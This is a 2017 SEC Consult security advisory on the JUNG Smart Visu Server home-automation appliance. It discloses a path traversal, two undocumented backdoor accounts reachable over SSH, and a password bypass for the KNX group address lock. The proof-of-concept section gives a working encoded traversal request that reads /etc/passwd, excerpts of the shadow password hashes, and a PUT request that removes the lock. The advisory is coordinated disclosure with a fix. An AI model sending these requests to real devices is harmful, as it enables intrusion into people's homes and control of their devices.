JUNG Smart Visu Server 1.0.8x Path Traversal / Backdoor Accounts
Posted on 09 February 2017
SEC Consult Vulnerability Lab Security Advisory < 20170207-0 > ======================================================================= title: Path Traversal, Backdoor accounts & KNX group address password bypass product: JUNG Smart Visu Server vulnerable version: Firmware v1.0.804/1.0.830/1.0.832 fixed version: Firmware v1.0.900 CVE number: - impact: Critical homepage: http://www.jung.de/ found: 2016-11-10 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "JUNG provides equipment and systems that win over by advanced technology, sophisticated design, and a large variety of features. On the one hand, our portfolio includes switches, socket outlets, dimmer, and observers. On the other, it includes innovative systems for controlling features in your home. From lighting, blind, or temperature control to wireless and KNX technologies, door communication, and multimedia control, a large range of applications is covered. In addition to comfort and security, also the requirements regarding cost-effectiveness and energy efficiency are met." Source:http://www.jung.de/en/1828/company/company-portrait/ Business recommendation: ------------------------ Attackers are able to gain root access through SSH with the credentials of the backdoor user account. A attacker can also unlock the group address protection for the KNX device mapping. JUNG has provided updated firmware which should be installed immediately. SEC Consult recommends not to use this product in a production environment until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1) Path Traversal Vulnerability The Smart Visu Server runs with root privileges and is vulnerable to path traversal. This leads to full information disclosure of all files on the system. 2) Backdoor Accounts Two undocumented operating system user accounts are present on the appliance. They can be used to gain access to the Smart Visu Server via SSH. 3) Group Address (GA) unlock without Password As protection functionality, the KNX group address can be locked with a user-defined password. This password can be removed by using a single PUT request. An attacker can completely change the configuration of the connected devices (e.g. a light switch in the kitchen can be swapped with the air conditioner). Proof of concept: ----------------- 1) Path Traversal Vulnerability The Smart Visu Server is vulnerable to path traversal by sending the following GET-Request: ------------------------------------ Request -------------------------------- GET /SV-Home//..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1 Host: <IP-Address> [...] ----------------------------------- Response -------------------------------- HTTP/1.1 200 OK Content-Disposition: inline;filename="passwd" [...] root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh [...] ----------------------------------------------------------------------------- 2) Backdoor Accounts Two undocumented operating system user accounts are present on the appliance. They can be used to gain access to Smart Visu Server over SSH on Port 55555. Excerpt of the shadow file: root:$6$Zcv.yVRg$0OfnoSEEWdP4K/2z5Mm/56nfGbdAPl4ZSm3oDWqn3fMD9cXfZCov7O/siheuYggHxuqHvZQ7nPSBM5BcbrH9n.:16840:0:99999:7::: daemon:*:15914:0:99999:7::: [...] avahi:*:16541:0:99999:7::: jung:$6$1SblJl3F$q6h6vfSC.IataQSqDNGw0wGvV8m/x8uLozBIj4Yj.ZzMoHbaMvzb2tR.B45I/ajsWpwkTcCNGjSZsLdC9IuzD.:16714:0:99999:7::: 3) Group Address (GA) unlock without Password The following PUT request sends a JSON object to the server, which removes the password: ------------------------------------ Request -------------------------------- PUT /rest/items/knxcom_datastore HTTP/1.1 Host: <IP-Address> [...] {"groupNames":[],"name":"knxcom_datastore","label":"knxcom_datastore","type":"GroupItem","tags":["{"lock_ga":false}"]} ----------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- Firmware version 1.0.804, 1.0.830 and 1.0.832 have been tested and found to be vulnerable. Vendor contact timeline: ------------------------ 2016-11-21: Contacting vendor through kundencenter@jung.de, mail.vka@jung.de 2016-12-02: Initial phone call with vendor. Advisory sent as encrypted archive. 2016-12-16: Call with vendor. Patch will be available in January 2017. 2017-01-09: Call with vendor. Patch will be approximately available in CW4. Release shifted to 2017-01-30. 2017-01-25: Call with vendor. Patch is stable in version 1.0.900 and will be released on 2017-02-07 in CW5. Shifted release of advisory to 2017-02-07. 2017-02-07: Public release of advisory Solution: --------- Upgrade to firmware version 1.0.900 which is being provided by JUNG through automatic updates. Workaround: ----------- None. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF T. Weber / @2017
